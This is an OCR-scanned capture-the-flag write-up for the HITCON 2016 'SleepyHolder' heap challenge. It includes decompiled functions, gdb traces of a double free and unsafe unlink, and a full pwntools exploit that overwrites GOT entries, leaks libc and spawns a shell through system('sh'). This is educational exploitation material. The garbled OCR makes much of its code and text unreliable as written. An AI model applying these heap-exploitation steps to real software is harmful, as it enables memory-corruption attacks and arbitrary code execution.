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Infomation

Description

The Secret Holder has become sleepy and lazy now.
nc 52.68.31.117 9547

SleepyHolder
libc.s0.6

Related file

File list

® SleepyHolder_3d90c33bdbf3e5189febfal5b09ca5ee61b94015
® libc.so0.6_375198810bb39e6593a968fchcf6556789026743

Source Code

Files

® SleepyHolder.c

Write Up

File information


https://s3-ap-northeast-1.amazonaws.com/hitcon2016qual/SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015
https://s3-ap-northeast-1.amazonaws.com/hitcon2016qual/libc.so.6_375198810bb39e6593a968fcbcf6556789026743
https://www.lazenca.net/download/attachments/7536654/SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015?version=1&modificationDate=1507767737788&api=v2
https://www.lazenca.net/download/attachments/7536654/libc.so.6_375198810bb39e6593a968fcbcf6556789026743?version=1&modificationDate=1507767736552&api=v2
https://www.lazenca.net/download/attachments/7536654/SleepyHolder.c?version=1&modificationDate=1507767774621&api=v2

File information

aut ol ycos@bunt u: ~/ CTF/ H TCON2016/ S| eepyHol der$ fil e Sl eepyHol der _3d90c33bdbf 3e5189f ebf a15b09ca5ee61b94015
Sl eepyHol der _3d90c33bdbf 3e5189f ebf a15b09ca5ee61b94015: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked (uses shared |libs), for GNU Linux 2.6.24, BuildlDshal]

=46f 0e70abd9460828444d7f 0975a8b2f 2ddbad46, stri pped

aut ol ycos@bunt u: ~/ CTF/ H TCON2016/ Sl eepyHol der$ checksec.sh --file

Sl eepyHol der _3d90c33bdbf 3e5189f ebf a15b09ca5ee61b94015

RELRO STACK CANARY NX PIE RPATH RUNPATH FI LE

Partial RELRO Canary found NX enabl ed No PIE No RPATH No RUNPATH

Sl eepyHol der _3d90c33bdbf 3e5189f ebf a15b09ca5ee61b94015

aut ol ycos@bunt u: ~/ CTF/ H TCON2016/ Sl eepyHol der $

Binary analysis

o oo
W

./SleepyHolder

aut ol ycos@bunt u: ~/ CTF/ H TCON2016/ S| eepyHol der$ ./ Sl eepyHol der _3d90c33bdbf 3e5189f ebf a15b09ca5ee61b94015
Waki ng Sl eepy Hol der up ...

Hey! Do you have any secret?

I can help you to hold your secrets, and no one will be able to see it :)

1. Keep secret

2. Wpe secret

3. Renew secret

Main

® main() .
© "/dev/lurandom" "4095" AND Heap .

[e]



main()

void __fastcall __noreturn main(__int64 al, char **a2, char **a3)
{

int command; // eax MAPDST

unsigned int buf; // [rsp+4h] [rbp-1Ch]

int fd; // [rsp+8h] [rbp-18h]

char tnp; // [rsp+10h] [rbp-10h]

unsigned __int64 v8; // [rsp+18h] [rbp-8h]

v8 = __ readf sqword(0x28u);
set SI GALM) ;
put s("Waki ng Sl eepy Holder up ...");
fd = open("/dev/urandont, O0);
read(fd, &buf, 4uLL);
buf &= 4095u;
mal | oc(buf);
sl eep(3u);
puts("Hey! Do you have any secret?");
puts("l can help you to hold your secrets, and no one will be able to see it :)");
while (1)
{
puts("1l. Keep secret");
puts("2. Wpe secret");
puts("3. Renew secret");
menset (& np, 0, 4ulLl);
read(0, & np, 4uLlL);
command = atoi (& np);
switch ( conmmand )
{
case 2:
W peSecret();
break;
case 3:
RenewSecret ();
break;
case 1:
KeepSecret ();
break;

KeepSecret

o calloc() .
= Small : 40 byte

" Big : 4000 byte

" Huge : 400000 byte

= gSmallSecret
= gBigSecret
® gHugeSecret
o (set 1)
= gSmallSecretFlag
= gBigSecretFlag
® gHugeSecretFlag
read()

o]



KeepSecret

unsi gned __int64 KeepSecret ()
{
int command; // eax
char tnp; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __ readf sqwor d(0x28u);
puts("What secret do you want to keep?");
puts("1. Small secret");
puts("2. Big secret");
if ( !'gHugeSecretFlag )
puts("3. Keep a huge secret and lock it forever");
menset (& np, 0, 4uLl);
read(0, &t np, 4ulLl);
command = atoi (& np);
if ( coomand == 2 )
{
if ( !gBigSecretFlag )
{
gBi gSecret = cal |l oc(1luLL, OxFAOuLL);
gBi gSecretFlag = 1;
puts("Tell me your secret: ");
read(0, gBigSecret, OxFAOuLL);
}
}
else if ( command == 3 )
{
if ( !'gHugeSecretFl ag )
{
gHugeSecret = call oc(1luLL, Ox61A80uLL);
gHugeSecretFlag = 1;
puts("Tell me your secret: ");
read(0, gHugeSecret, Ox61A80uLL);
}
}
else if ( command == 1 && !gSnal | SecretFl ag )
{
gSnal | Secret = call oc(1luLL, Ox28ulLlL);
gSmal | SecretFlag = 1;
puts("Tell nme your secret: ");
read(0, gSnall Secret, 0x28uLL);
}

return __readf sqword(0x28u) ™ v3;

WipeSecret

o KeepSecret()
=  Small, Big Secret .
" Huge secret .

© , Huge secret

flag O.

o]

o]

flag Heap .
Heap free() Heap

o]



WipeSecret()

unsi gned __int64 WpeSecret ()
{
int command; // eax
char tnp; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __ readf sqwor d(0x28u);
put s("Wiich Secret do you want to w pe?");
puts("1. Small secret");
puts("2. Big secret");
menset (& np, 0, 4ulLlL);
read(0, & np, 4ulLL);
comrand = atoi (& np);
if ( command == 1)
{
free(gSmal | Secret);
gSnal | SecretFlag = 0;

else if ( command == 2 )
{

free(gBi gSecret);

gBi gSecretFl ag = 0;
}

return __readf sqgword(0x28u) ™ v3;

RenewSecret

o KeepSecret()
© Small, Big Secret

RenewSecret

__int64 RenewSecret ()

{
int command; // eax@
char input; // [rsp+10h] [rbp-10h] @
_int64 v3; // [rsp+18h] [rbp-8h] @

v3 = *MK_FP(__FS_, 40LL);
put s("Which Secret do you want to renew?");
puts("1. Small secret");
puts("2. Big secret");
menset (& nput, 0, 4uLL);
read(0, & nput, 4uLL);
comrand = atoi (& nput);
if ( command == 1)
{
if ( gSnall SecretState )
{
puts("Tell me your secret: ");
read(0, gSmall Secret, 0x28uLL);
}
}
else if ( command == 2 && gBi gSecMsgState )
{
puts("Tell me your secret: ");
read(0, gBigSecMsg, OxFAOuLL);
}
return *MK_FP(__FS__, 40LL) ™ v3;



Debuging

Heap Overflow

® Heap Overflow .
o "Keep secret" "Small secret

o "Keep secret" "Big secret"
© "Wipe secret" "Small secret"
o "Keep secret" "Huge secret"
© "Wipe secret" "Small secret”
® Debuging
Break point

gdb- peda$ b *0x400000 + Ox9f f
Breakpoint 1 at 0x4009ff

gdb- peda$ b *0x400000 + Oxabb
Breakpoi nt 2 at 0x400a5b

gdb- peda$ b *0x400000 + Oxabl
Breakpoi nt 3 at 0x400abl

gdb- peda$ b *0x400000 + Oxb94
Br eakpoi nt 4 at 0x400b94

gdb- peda$ b *0x400000 + Oxbaf
Breakpoi nt 5 at 0x400baf

gdb- peda$

o "Keep secret” "Small secret"
o "Keep secret" "Big secret”
© "Wipe secret" "Small secret"

© "gSmallSecret” 0x6020d0, Heap 0x603bb0 .
O "gBigSecret" 0x6020c0, Heap 0x603be0 .
© "Wipe secret" "Small secret” "Small secret" ,



"Wipe secret" "Small secret"

gdb- peda$ r

Starting program /home/l azencaOx0/ CTF/ H TCON Sl eepyHol der
/ Sl eepyHol der _3d90c33bdbf 3e5189f ebf a15b09ca5ee61b94015

Waki ng Sl eepy Hol der up ...

Hey! Do you have any secret?

I can help you to hold your secrets, and no one will
1. Keep secret

2. Wpe secret

3. Renew secret

1

What secret do you want to keep?

1. Snall secret

2. Big secret

3. Keep a huge secret and lock it forever
1

Br eakpoi nt 1, 0x00000000004009ff in ?? ()
gdb- peda$ x/i $rip

=> 0x40009f f: nov QAORD PTR [ri p+0x2016ca], rax
gdb-peda$ i r rax

rax 0x603bb0 0x603bb0

gdb- peda$ c

Cont i nui ng.

Program recei ved signal SIGALRM Al arm cl ock.
Tell nme your secret:

AAAA

1. Keep secret

2. Wpe secret

3. Renew secret

1

What secret do you want to keep?

1. Small secret

2. Big secret

3. Keep a huge secret and lock it forever
2

Breakpoi nt 2, 0x0000000000400a5b in ?? ()
gdb- peda$ x/i $rip

=> 0x400a5b: nmov QAORD PTR [ri p+0x20165e], r ax
gdb-peda$ i r rax

rax 0x603be0 0x603be0

gdb- peda$ ¢

Cont i nui ng.

Tell ne your secret:

BBBB

1. Keep secret

2. Wpe secret

3. Renew secret

2

Whi ch Secret do you want to w pe?

1. Small secret

2. Big secret

1

Br eakpoi nt 4, 0x0000000000400b94 in ?? ()
gdb- peda$ x/ gx 0x6020d0

0x6020d0: 0x0000000000603bb0
gdb- peda$ x/gx 0x6020c0O

0x6020c0: 0x0000000000603be0
gdb- peda$

® "Keep secret"” "Huge secret” "Small secret” "Small bin" .

©  Heap malloc() Heap .
© malloc() heap .
© "Small secret" "Small bin", Heap fd, bk main_arena
= fd : 0x00007ffff7dd1b98
" bk : 0x00007ffff7dd1b98
® "gHugeSecret" 0x6020c8, Heap Ox7ffff7f73010 .

be able to see it :)

# 0x6020d0

# 0x6020c0



"Keep secret” "Huge secret"

gdb- peda$ ¢

Cont i nui ng.

1. Keep secret

2. Wpe secret

3. Renew secret

1

What secret do you want to keep?
1. Small secret

2. Big secret

3. Keep a huge secret and lock it forever
3

Br eakpoi nt 3, 0x0000000000400abl in ?? ()
gdb- peda$ x/i $rip

=> 0x400ab1: nov QAORD PTR [ri p+0x201610], r ax # 0x6020c8
gdb-peda$ i r rax

rax ox7ffff7f73010 ox7ffff7f73010

gdb- peda$ p main_arena. system nem

$1 = 0x21000

gdb- peda$ p mai n_arena. max_syst em nem

$2 = 0x21000

gdb- peda$ p mai n_arena. bi ns[ 4]
$3 = (nchunkptr) 0x603ba0
gdb- peda$ p mai n_arena. bi ns[ 5]
$4 = (nchunkptr) 0x603ba0
gdb- peda$ x/4gx 0x603ba0

0x603ba0: 0x0000000000000000 0x0000000000000031
0x603bb0: 0x00007ffff7dd1b98 0x00007f fff7dd1b98
gdb- peda$

® "Unsafeunlink" .
© "Unsafe unlink" Allocated chunk size PREV_INUSE .
= OQverflow ."Small secret" (Double free) PREV_INUSE .
= "Wipe secret" "Small secret", "Small secret" (Double free) fastbin .
o "Keep secret” "Small secret", "Big secret” chunk size PREV_INUSE "Small secret"
® fastbin , smallbin
o "Small secret" Fake chunk .



Remove "prev_size"

gdb- peda$ p mai n_arena. bi ns[ 4]

$5 = (nchunkptr) 0x603ba0

gdb- peda$ p mai n_arena. bi ns[ 5]

$6 = (nchunkptr) 0x603ba0

gdb- peda$ p main_arena. fastbinsY

$7 = {0x0, 0x0, 0Ox0, 0x0, OxO0, 0x0, 0xO0, Ox0, 0x0, OxO0}
gdb- peda$ c

Cont i nui ng.

Tell nme your secret:

CCCC

1. Keep secret

2. Wpe secret

3. Renew secret

2

Wi ch Secret do you want to wi pe?
1. Small secret

2. Big secret

1

Br eakpoi nt 4, 0x0000000000400b94 in ?? ()
gdb- peda$ p mai n_arena. bi ns[ 4]

$8 = (nthunkptr) 0x603ba0

gdb- peda$ p mai n_arena. bi ns[ 5]

$9 = (nchunkptr) 0x603ba0

gdb- peda$ p mai n_arena. f astbi nsY

$10 = {0x0, 0x603ba0, 0x0, O0x0, 0x0, 0x0, 0x0, 0x0, Ox0, 0xO0}
gdb- peda$ c

Cont i nui ng.

1. Keep secret

2. Wpe secret

3. Renew secret

1

What secret do you want to keep?

1. Small secret

2. Big secret

1

Breakpoi nt 1, 0x00000000004009ff in ?? ()

gdb- peda$ p mai n_arena. bi ns[ 4]

$11 = (nthunkptr) 0x603bal

gdb- peda$ p mai n_arena. bi ns[ 5]

$12 = (nthunkptr) 0x603bal0

gdb- peda$ p main_arena. fastbinsY

$13 = {0x0, Ox0, 0x0, OxO0, 0x0, 0OxO, 0x0, 0x0, OxO0, 0xO}
gdb- peda$ x/6gx 0x603bb0

0x603bb0: 0x0000000000000000 0x0000000000000000
0x603bcO0: 0x0000000000000000 0x0000000000000000
0x603bd0: 0x0000000000000000 0x0000000000000f b0
gdb- peda$

® Fakechunk.
o Fake chunk Allocated chunk prev_size



Unsafe unlink

gdb- peda$ ¢

Cont i nui ng

Tell ne your secret
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE
Keep secret

W pe secret

Renew secr et

Keep secret

W pe secret

Renew secr et

ZWNPON R

C
Program recei ved signal SIGNT, Interrupt.

0x00007ffff7b04230 in __read_nocancel () at ../sysdeps/unix/syscall-tenplate.S: 84

84 ../ sysdeps/uni x/ syscal | -tenplate.S: No such file or directory
gdb- peda$ x/6gx 0x603bb0

0x603bb0: 0x4141414141414141 0x4242424242424242

0x603bcO: 0x4343434343434343 0X4444444444444444

0x603bd0: 0x4545454545454545 0x0000000000000f b0

gdb- peda$ set *0x603bb0 = 0x0

gdb- peda$ set *0x603bb4 = 0x0

gdb- peda$ set *0x603bb8 = 0xO0

gdb- peda$ set *0x603bbc = 0x0

gdb- peda$ set *0x603bcO = 0x6020d0 - 0x18
gdb- peda$ set *0x603bc4 = 0x0

gdb- peda$ set *0x603bc8 = 0x6020d0 - 0x10
gdb- peda$ set *0x603bcc = 0xO0

gdb- peda$ set *0x603bd0 = 0x20

gdb- peda$ set *0x603bd4 = 0x0

gdb- peda$ x/6gx 0x603bb0

0x603bb0: 0x0000000000000000 0x0000000000000000
0x603bc0: 0x00000000006020b8 0x00000000006020c0
0x603bd0: 0x0000000000000020 0x0000000000000f b0
gdb- peda$ x/gx 0x6020d0

0x6020d0: 0x0000000000603bb0

gdb- peda$

® Fake chunk

Fake chunk
address 0x0 0x8
0x603bb0 0x0 0x0

0x603bcO | fb(0x6020d0 - 0x18) | bk(0x6020d0 - 0x10)

0x603bd0 prev_size(0x20) size(0xfb0)

® "Unsafe unlink" "gSmallSecret"(0x6020d0) ".bss" (0x6020d0 - 0x18)



The value of the "gSmallSecret" area has changed.

gdb- peda$ ¢
Cont i nui ng.
2

Whi ch Secret do you want to wi pe?
1. Small secret

2. Big secret

2

Br eakpoi nt 5, 0x0000000000400baf in ?? ()
gdb- peda$ x/ gx 0x6020d0

0x6020d0: 0x00000000006020b8

gdb- peda$

@ Detailed explanation of the Unsafe unlink

¢ unsafe unlink

Structure of Exploit code

® Payload

Payload

. Unsafe unlink()

. Leak Heap Address
offset

. Overflow(system)

1. Unsafe unlink()
a. "gSmallSecret”
2. Leak Heap Address
a. "gBigSecret™ .got.plt
b. .got.plt"_free" .plt_puts
c. "WipeSecret" "BigSecret"
3. offset
a. System()
4. Overflow(system)
a. .got.plt"_free" __libc_system
b. "Keep secret" "BigSecret”
¢. "WipeSecret" "BigSecret"

® payload

® |eak libc address

Information for attack

Leak libc address

® |ibc address


https://www.lazenca.net/display/TEC/unsafe+unlink

© unsafe unlink "gSmallSecret" 0x6020b8(.bss ) .

© "gSmallSecret" .
= 0x6020C0 ~ 0x6020E0
® "Renew secret"” "Small secret”
©  got, plt , shell

Overwrite to global variable

gdb- peda$ b *0x400C86

gdb- peda$ c

Cont i nui ng.

3

Wi ch Secret do you want to renew?

1. Small secret

2. Big secret

1

Tell ne your secret:
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE

Br eakpoi nt 5, 0x0000000000400c86 in ?? ()
gdb- peda$ x/6gx 0x00000000006020b8

0x6020b8: 0x4141414141414141
0x6020c8: 0x4343434343434343
0x6020d8: 0x4545454545454545
gdb- peda$
® libc address
o free() got

"Renew secret" "Small secret”

o]

0x4242424242424242
OX4444444444444444
0x0000000000000001

" gBigSecret [0x6020c0] : atoi() got
= gHugeSecret [0x6020c8] : puts() got
= gSmallSecret [0x6020d0] : free() got

© "Renew secret" "Small secret" free() got

= free() plt puts() plt.

© "Wipe secret" "Big secret” free() got puts() .

= "Big secret" "gBigSecret" atoi() got .

Exploit Code

Exploitcode.py

frompw inmport *
#context.l og_l evel = 'debug'

libc = ELF('/1ib/x86_64-1inux-gnu/libc.so.6")

def KeepSecret(size,content):
p.recvuntil (' 3. Renew secret\n')
p.sendline('1")
p.recvuntil ('2. Big secret\n')
p.sendline(str(size));
p.recvuntil (' Tell nme your secret: ')
p. send(content)
def W peSecret(size):
p.recvuntil (' 3. Renew secret\n')
p.sendline('2")
p.recvuntil ('2. Big secret\n')
p.sendline(str(size))

def RenewSecret (size,content):
p.recvuntil (' 3. Renew secret\n')
p.sendline('3")



p.recvuntil ('2. Big secret\n")
p. sendl i ne(str(size))

p.recvuntil (' Tell nme your secret: ')
p. send(content)

gSmal | Secret = 0x6020D0

p = process(' Sl eepyHol der _3d90c33bdbf 3e5189f ebf a15b09ca5ee61b94015"' )
bin = ELF(' Sl eepyHol der _3d90c33bdbf 3e5189f ebf a15b09ca5ee61b94015")
#Renove "prev_size"

KeepSecret (1,' AAAA')

KeepSecret (2,"' BBBB')

W peSecret (1)

KeepSecret (3,"' CCCC)

W peSecret (1)

#Unsaf e unlink

secret = p64(0)

secret += p64(0)

secret += p64(gSnall Secret - 0x18)
secret += p64(gSnall Secret - 0x10)
secret += p64(0x20)

KeepSecret (1, secret)

W peSecr et (2)

#Overwrite to global variable
secret = p64(0) #[ 0x6020b8]
secret += p64(bin.got['atoi']) #gBi gSecr et [ 0x6020c0]
secret += p64(bin.got['puts']) #gHugeSecret[0x6020c8]
secret += p64(bin.got['free']) #gSmall Secret[0x6020d0]
(

secret += p64(1) * 3 #9gBi gSecr et Fl ag[ 0x6020d8] , gHugeSecr et FI ag[ 0x6020dc], gSmal | Secr et Fl ag

[ 0x6020e0], . . .
RenewSecret (1, secret)

#Leak |ibc

RenewSecret (1, p64(bin.plt[' puts'])) #bin.got['free']:bin.plt['free'] -> bin.plt

["puts']
W peSecr et (2)
Ii bcAddr = u64(p.recv(6).1just(8,'\x00"))

l'i bc. address += libcAddr - libc.synbols["atoi']
systemAddr = |ibc. synbol s[' systeni]
log.info("Libc Address : " + hex(libc.address))

log.info("System: " + hex(systemAddr))
#Overwite

RenewSecr et (1, p64(syst emAddr))

address of systen()

KeepSecret (2,"'sh\0")

Bi gsecret area

W peSecr et (2)

p.interactive()

SYNOPSIS

#i ncl ude <stdlib. h>
int systenm(const char *command);

Flag

Flag flag is: hitcon{The Huuuuuuuuuuuge Secret Really MALLOC a difference!}

Related Site

#put s(atoi () got)

#bin.got['free']:bin.plt['puts'] ->
#save 'sh'character in the

#systen(' sh')



® https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder

= Unkrnown macro: 'html’


https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder
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